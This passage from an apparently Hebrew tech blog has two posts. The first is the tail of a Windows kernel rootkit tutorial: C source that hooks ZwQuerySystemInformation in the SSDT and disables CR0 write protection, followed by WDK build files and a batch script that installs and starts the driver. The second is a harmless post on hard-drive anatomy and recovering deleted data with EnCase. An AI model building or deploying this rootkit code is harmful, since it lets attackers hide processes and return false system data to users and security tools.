//move to the next element in the array
//setting null if is the last item in the array
if((*cSPI).NextEntryOffset != 0)
{
(BYTE *)cSPI = ((BYTE *)cSPI) + (*cSPI).NextEntryOffset;
}
else{cSPI = NULL;}

}


}


//return the system call index number 
//from the SSDT table
DWORD getSSDTIndex(BYTE * address)
{
BYTE* addressOfIndex;
DWORD  indexValue;

addressOfIndex = address +1;
indexValue = *((PULONG)addressOfIndex);
return (indexValue);
}

//make the hook to SSDT sending the orignal call address
//sending the hook call pointer export the system call number
//update the SSDT function address by the index
//in the table and change the function address 
//to the new hook function
BYTE * hookSSDT(BYTE* apiCall,BYTE* oldAddr, DWORD* callTable)
{
PLONG target;
DWORD indexValue;

//get system call number by apiCall pointer
indexValue = getSSDTIndex(apiCall);
target = (PLONG) &(callTable[indexValue]);
//sets a 32-bit variable to the specified value as an atomic operation.
//send pointer to the value and new value
//lock free algorithms, exclusive access
return ((BYTE*)InterlockedExchange(target,(LONG)oldAddr));
}

//unhooking the SSDT sending the orignal call address
//sending the orignal call pointer export the system call number
//update the SSDT function address by the index
//in the table and change the function address 
//to the orignal call function
void unHookSSDT(BYTE* apiCall,BYTE* newAddr, DWORD* callTable)
{
PLONG target;
DWORD indexValue;

//send ZwQuerySystemInformation , as the system call number
indexValue = getSSDTIndex(apiCall);
target = (PLONG) &(callTable[indexValue]);
//sets a 32-bit variable to the specified value as an atomic operation.
//send pointer to the value and new value lock free algorithms, exclusive access
InterlockedExchange(target,(LONG)newAddr);
}

//enable CPU to access read only pages
void enableWP_CR0()
{
__asm
{
PUSH EBX //save EBX
MOV EBX,CR0 //put CR0 value inside eax
OR EBX,0x00010000 //enable wp bit
MOV CR0,EBX // update CR0 with EBX value
POP EBX
}
return;
}

//disable CPU to access read only pages
void disableWP_CR0()
{
__asm
{
PUSH EBX //save EBX
MOV EBX,CR0 //put CR0 value inside eax
AND EBX,0xFFFEFFFF //Disable wp bit
MOV CR0,EBX // update CR0 with EBX value
POP EBX

}
return;
}


//unload the hook and return to normal
//enable write protected to SSDT
VOID Unload(IN PDRIVER_OBJECT DriverObject)
{
unHookSSDT
(
(BYTE*)ZwQuerySystemInformation,
(BYTE*)oldZwQuerySystemInformation,
(DWORD*)systemCallTable
);

enableWP_CR0();

return;
}

//the main driver entry
NTSTATUS DriverEntry
(
IN PDRIVER_OBJECT pDriverObject,
IN PUNICODE_STRING theRegisteryPath
)
{
    //set DriverUnload function pointer
(*pDriverObject).DriverUnload = Unload;

//disable the write protected of SSDT
disableWP_CR0();

//getting the SSDT address
systemCallTable = (BYTE*)KeServiceDescriptorTable.KiServiceTable;

//hooking the SSDT send the systemCallTable
//(holding the SSDT address)
oldZwQuerySystemInformation = (ZwQuerySystemInformationPtr)hookSSDT
(
        //the address of the original call
(BYTE*)ZwQuerySystemInformation,
//the address of the original call address
(BYTE*)newZwQuerySystemInformation,
//the SSDT table return from the export symbol
//KeServiceDescriptorTable.KiServiceTable
(DWORD*)systemCallTable
);

return STATUS_SUCCESS;
}


לאחר Build בעזרת ה WDK נוצרה לנו תיקיית I386 שבתוכה יש את הקובץ הבינארי בסיומת sys שאותו נתקין בעזרת קובץ אצווה (Batch File), ניצור קובץ חדש ב Notepad ,נרשום בו את השורות הבאות ונשמור אותו בסיומת bat:

sc create mydriver type= filesys binPath= C:\WinDDK\7600.16385.1\src\MDL3\i386\srv3.sys
sc start mydriver
pause
sc stop mydriver
sc delete mydriver
pause

למי שלא מכיר את סביבת ה WDK לאחר ההתקנה יש ליצור תיקייה חדשה בתיקיית src וליצור 2 קבצים ללא סיומת הראשון הוא source שבו נגדיר את קובץ שאליו העתקנו את הקוד של ה Rootkit לדוגמה:

TARGETNAME=srv3
TARGETPATH=.
TARGETTYPE=DRIVER
SOURCES=kmd.c

INCLUDES=.
MSC_WARNING_LEVEL=/W0

הקובץ השני נקרא Makefile שהוא קובץ שכל  Driver בסביבת WDK צריך לירוש, נעתיק אליו את השורה ונשמור אותו:

!INCLUDE $(NTMAKEENV)\makefile.def

סיכום:
אין ספק ש Rootkit הוא אחד הדברים המפחידים בתחום אבטחת המידע, היכולת להחזיר מידע כוזב למשתמש עלולה להביא לסכנת חיים ממשית ובעתיד נראה יותר ויותר Rootkit מתוחכמים , אין ספק שבניית Rootkit הוא עסק מורכב מאוד בסביבת ה Kernel וצריך לבצע מחקר רציני בהנדסה לאחור על מנת למצוא את החולשה המתאימה עבור ה Rootkit , אבל אל תשכחו שמול ה RootKit עומד אנטי וירוס וגם הוא מסתובב לו ב Kernel בשביל לחפש דברים מהסוג הזה.

קצת מפחיד לא?

יום חמישי, 21 באפריל 2011

Hard Drive Starting Guide

טרגדיה!! נמחק לי ה Hard Disk! מה אני יעשה איך אני אשחזר את הנתונים שלי?! עם מי לדבר? זה חלק מהשאלות שאתה שואל את עצמך כאשר עוברת עליך "טרגדיה" כזאת... אז דבר ראשון תנו לשבור לכם מיתוס, המידע בדיסק לא נעלם, אלא נשאר אלא אם כן נדרש המקום ע"י מערכת ההפעלה שלנו, כוננים קשיחים זה החלק הנע היחידי שנשאר עוד במחשבים (חוץ מהמאוררים) ועם הזמן המערכות שבו נשחקות כמו שהרכב שלנו נשחק, אבל אני לא רוצה להאשים את הכוננים על כך שהם לא אמינים, הם שירתו אותנו שנים רבות ואני מאמין שהם ישרתו אותנו עוד למרות שתכנולוגיות חדשות ושיפורים מראים עולם טוב יותר ובקרוב החלק הפרימטיבי הזה יוחלף בזיכרון Flash מהיר ועצבני, רק חשוב לי להדגיש כל הקשור לקבצים שנמחקו או כוננים שנדפקו לא קרו בגלל עייפות החומרים אלא בגלל טעויות משתמשים.

במאמר זה נכיר את המנגנון הזה וכיצד הוא עובד, בנוסף נשחזר כונן שנמחק ,לצורך העניין אני יקריב HD של 10 GB ישן.

המקומות הנסתרים של הכוננים הקשיחים:

כשפותחים כונן מהשקית, מקבלים קופסה כסופה עם כמה פינים שיוצאים החוצה , מחברים למחשב והעסק מתחיל לעבוד, בלי יותר מידי שאלות, למרבית האנשים זה מובן מאליו הקופסאות הכסופות האלה, אבל בתוכן קיים עולם עצום של אלקטרוניקה ופיזיקה.

אז איך בדיוק זה עובד?

הרעיון שמשותף לכל הכוננים זאת היכולת לאגור מידע, השאלה איך אפשר לאגור אותו? , נקודת ההתחלה עבורנו שהשפה של המחשב היא בינארית, המחשב מכיר 0 או 1 ולא יותר מזה, זה נשמע כמו מתג חשמלי שנדלק ונכבה ע"י פעולה של המשתמש, עכשיו תחשבו לכם על מיליונים של מתגים כאלה, שנשלטים ע"י תוכנה שלוקחת את המידע שלנו מאחסנת אותו בעזרת הדלקה וכיבוי של המתגים, אבל ברגע שתהיה לנו אפסקת חשמל כל המתגים היו מתאפסים והמידע היה נעלם, על מנת שנוכל לאגור את המידע שלנו נכנס פה אלמנט גאוני והוא המגנט, אפשר למגנט ולבטל מיגנוט במתכות ובצורה זו קיבלנו את ה 0 וה 1 שאנחנו צריכים.

אז אחרי התיאוריה נעבור לתכלס:


בפירוק הבסיסי אנחנו מקבלים 3 חלקים - עטיפה, מנגנון מכני ומנגנון אלקטרוני, המנגנון האלקטרוני מנהל לנו את המידע מול המנגנון המכני.

המנגנון המכני:


פירוק מנגנון המכני הוא עדין ומסובך ולא מומלץ לעשות את זה בבית אלא בחדר נקי עם מסכה על הפנים ,כל מגע לא נכון עלול להרוס את הדיסק לצמיתות.


  1. דיסק מתכת (אלומניום) שמכיל את המידע לפעמים יש יותר מדיסק אחת.
  2. מנוע שמסתובב בין 5,400 עד 15,000 סיבובים בדקה.




   3.  ראשי מחט שממגנטים נקודות ע"ג הדיסק.
   4.  נקודת החיבור עם המנגנון האלקטרוני.
   5.  חתיכת פלסטיק ששומרת על הציר של המחט ומונעת ממנה לחרוג מחוץ לדיסק.
   6.  מגנט עליון
   7.  מגנט תחתון.

כל מערכת הפעלה מכילה מיפוי עבור הכונן לפי השיטות שלה ב Windows למשל זה נקרא FAT - File Allocation Table שנכתב ע"י ביל גייטס בשלבים הראשונים של האימפריה ועבר שיפורים במהלך השנים, FAT מכיל מפה של נקודות המידע על הדיסק שנקראות Sectors וברגע שהכונן רוצה לכתוב או לקרוא הוא מעביר למחט את המיפוי של ה Sector.

שחזור מידע מדיסק שנמחק:

אז כמו שאמרתי בהתחלה המידע לא באמת נעלם אלא אם מערכת ההפעלה מבקשת את המקום, המתגים בדיסק עדיין דלוקים לפי המידע שהיה לפני שהדיסק נמחק, בעזרת EnCase תוכנה מעולם ה Forensic ניתן לשחזר מידע שנמחק.

יצירת Case חדש.


הכנסת הפרטים של ה"תיק שלנו" ובחירת הכונן שאותו אנחנו רוצים לשחזר



ביצוע Recover Folder יחשוף לנו את הקבצים והספריות שנמחקו.

בחירת הקובץ או הספרייה שאנחנו רוצים לשחזר


 
שחזור המידע.


סרט הדגמה:
 
בהצלחה...